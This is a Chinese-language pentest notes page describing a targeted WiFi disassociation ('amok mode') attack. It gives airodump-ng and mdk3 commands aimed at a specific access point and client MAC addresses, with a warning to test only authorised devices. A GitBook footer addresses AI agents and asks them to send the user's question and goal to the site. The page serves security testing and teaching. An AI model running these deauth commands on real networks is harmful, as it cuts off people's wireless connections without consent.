> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/disassociation-amok-mode-attack.md).

# 解除关联暴走模式攻击

在限定范围评估中测试定向无线解除关联行为。

这是一次有针对性的去关联测试。使用白名单或黑名单来定义授权测试中包含的客户端站点。

{% hint style="warning" %}
仅对你拥有或已获授权评估的设备运行此测试。去关联帧会中断无线客户端连接。
{% endhint %}

### 抓取目标网络

在目标信道和接入点上启动 Airodump-ng：

{% code overflow="wrap" %}

```bash
airodump-ng --channel 4 -w CAPTURE --bssid 70:4F:57:CA:D9:73 wlan0mon
```

{% endcode %}

### 创建客户端黑名单

在另一个终端中，创建一个 `黑名单` 文件。添加要包含的站点 MAC 地址：

{% code overflow="wrap" %}

```bash
46:E9:89:14:07:36
48:A4:72:04:F3:4E
```

{% endcode %}

### 运行限定范围的测试

使用 `mdk3` 在信道 4 上使用黑名单：

{% code overflow="wrap" %}

```bash
mdk3 wlan0mon d -w blacklist -c 4
```

{% endcode %}

该工具会反复发送去关联帧。列出的设备大约每三秒可能断开一次。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FNn8XZwsy6eoJ5MRKHJMU%2F%7B6307894A-F562-4162-B494-2B6745347056%7D.png?alt=media&amp;token=fc2899c4-56dc-4fc5-a41f-e12713c70ab9" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/disassociation-amok-mode-attack.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
